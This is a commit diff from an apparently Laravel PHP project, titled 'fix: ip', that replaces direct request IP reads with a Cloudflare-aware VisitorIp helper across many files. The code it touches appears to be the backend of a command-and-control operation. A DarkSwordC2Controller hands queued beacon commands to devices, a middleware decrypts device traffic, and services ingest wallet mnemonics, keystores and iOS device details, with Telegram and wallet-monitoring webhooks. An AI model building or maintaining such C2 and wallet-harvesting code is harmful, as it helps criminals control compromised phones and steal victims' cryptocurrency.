fix: ip
This commit is contained in:
+1
-1
@@ -62,7 +62,7 @@ if (! function_exists('c2_log_request_meta')) {
|
||||
}
|
||||
|
||||
return [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => \App\Support\VisitorIp::fromRequest($request),
|
||||
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||
'headers' => $headers,
|
||||
];
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
@@ -97,7 +98,7 @@ class AuthController extends Controller
|
||||
RateLimiter::clear($throttleKey);
|
||||
$request->session()->regenerate();
|
||||
|
||||
$user->forceFill(['last_ip' => $request->ip()])->save();
|
||||
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -117,6 +118,6 @@ class AuthController extends Controller
|
||||
|
||||
private function throttleKey(Request $request): string
|
||||
{
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Agent;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
@@ -115,6 +116,6 @@ class AuthController extends Controller
|
||||
|
||||
private function throttleKey(Request $request): string
|
||||
{
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.VisitorIp::fromRequest($request));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
||||
|
||||
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = $this->ingest->ensureDevice($request, $payload);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
|
||||
$ip = VisitorIp::fromRequest($request);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
|
||||
|
||||
$body = [
|
||||
'ok' => true,
|
||||
'type' => $command['type'] ?? 'noop',
|
||||
'client_ip' => $request->ip(),
|
||||
'client_ip' => $ip,
|
||||
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
||||
];
|
||||
if ($command !== null) {
|
||||
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Support\SafeLog;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
@@ -33,7 +34,7 @@ class TelegramWebhookController extends Controller
|
||||
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
|
||||
$this->webhookLog('info', 'telegram webhook hit', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
@@ -45,7 +46,7 @@ class TelegramWebhookController extends Controller
|
||||
if ($expectedSecret !== '') {
|
||||
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'update_id' => $updateId,
|
||||
]);
|
||||
abort(403, 'Invalid webhook secret');
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Hooks;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\SafeLog;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Throwable;
|
||||
@@ -19,7 +20,7 @@ class TokenviewWebhookController extends Controller
|
||||
$payload = $this->decodePayload($request, $raw);
|
||||
|
||||
$this->tvLog('info', 'tokenview webhook received', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'method' => $request->method(),
|
||||
'has_signature' => is_string($signature) && $signature !== '',
|
||||
'body_bytes' => strlen($raw),
|
||||
@@ -31,7 +32,7 @@ class TokenviewWebhookController extends Controller
|
||||
$signed = $monitor->verifySignature($raw, $signature);
|
||||
if (! $signed) {
|
||||
$this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'body_bytes' => strlen($raw),
|
||||
]);
|
||||
} elseif ($payload !== []) {
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
@@ -32,7 +33,7 @@ class PageHitController extends Controller
|
||||
return $this->pixel();
|
||||
}
|
||||
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$ip = VisitorIp::fromRequest($request);
|
||||
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Middleware;
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
@@ -87,7 +88,7 @@ class DecryptCorunaBody
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
@@ -146,7 +147,7 @@ class DecryptCorunaBody
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
@@ -54,7 +55,7 @@ class SystemLog extends Model
|
||||
'actor_id' => $actor->id,
|
||||
'actor_username' => (string) $actor->username,
|
||||
'content' => $content,
|
||||
'ip' => $request?->ip(),
|
||||
'ip' => $request ? VisitorIp::fromRequest($request) : null,
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ use App\Models\WalletMnemonic;
|
||||
use App\Jobs\DecodeMemoDb;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -153,7 +154,7 @@ class DarkSwordIngestAdapter
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? '';
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$ip = $this->clientIp($request);
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
$os = $ios !== null ? 'iOS' : $parsed['os'];
|
||||
@@ -271,7 +272,7 @@ class DarkSwordIngestAdapter
|
||||
return null;
|
||||
}
|
||||
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$ip = $this->clientIp($request);
|
||||
$model = $this->extractModel($payload);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
|
||||
@@ -602,20 +603,9 @@ class DarkSwordIngestAdapter
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function clientIp(Request $request, array $payload): string
|
||||
private function clientIp(Request $request): string
|
||||
{
|
||||
$reported = $payload['ip'] ?? null;
|
||||
if (is_string($reported) && trim($reported) !== '') {
|
||||
$normalized = PageVisit::normalizeIp(trim($reported));
|
||||
if ($normalized !== '') {
|
||||
return substr($normalized, 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
|
||||
return VisitorIp::fromRequest($request);
|
||||
}
|
||||
|
||||
private function shouldReplaceModel(?string $current, string $incoming): bool
|
||||
|
||||
@@ -17,6 +17,7 @@ use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
@@ -393,7 +394,7 @@ class IngestService
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use App\Models\PageVisit;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
/**
|
||||
* Visitor IP behind Cloudflare.
|
||||
*
|
||||
* Prefer CF-Connecting-IP (Cloudflare overwrites it). Fall back to
|
||||
* $request->ip() when the request did not come through CDN.
|
||||
* Do not trust JSON/query `ip` or a client-prefixed X-Forwarded-For hop.
|
||||
*/
|
||||
final class VisitorIp
|
||||
{
|
||||
public static function fromRequest(Request $request): string
|
||||
{
|
||||
foreach (['CF-Connecting-IP', 'True-Client-IP'] as $header) {
|
||||
$ip = self::normalize($request->headers->get($header));
|
||||
if ($ip !== '') {
|
||||
return $ip;
|
||||
}
|
||||
}
|
||||
|
||||
$fallback = self::normalize((string) $request->ip());
|
||||
|
||||
return $fallback !== '' ? $fallback : substr((string) $request->ip(), 0, 64);
|
||||
}
|
||||
|
||||
public static function normalize(?string $raw): string
|
||||
{
|
||||
$raw = trim((string) $raw);
|
||||
if ($raw === '') {
|
||||
return '';
|
||||
}
|
||||
if (str_contains($raw, ',')) {
|
||||
$raw = trim(explode(',', $raw, 2)[0]);
|
||||
}
|
||||
if (filter_var($raw, FILTER_VALIDATE_IP) === false) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$norm = PageVisit::normalizeIp($raw);
|
||||
|
||||
return $norm !== '' ? substr($norm, 0, 64) : '';
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user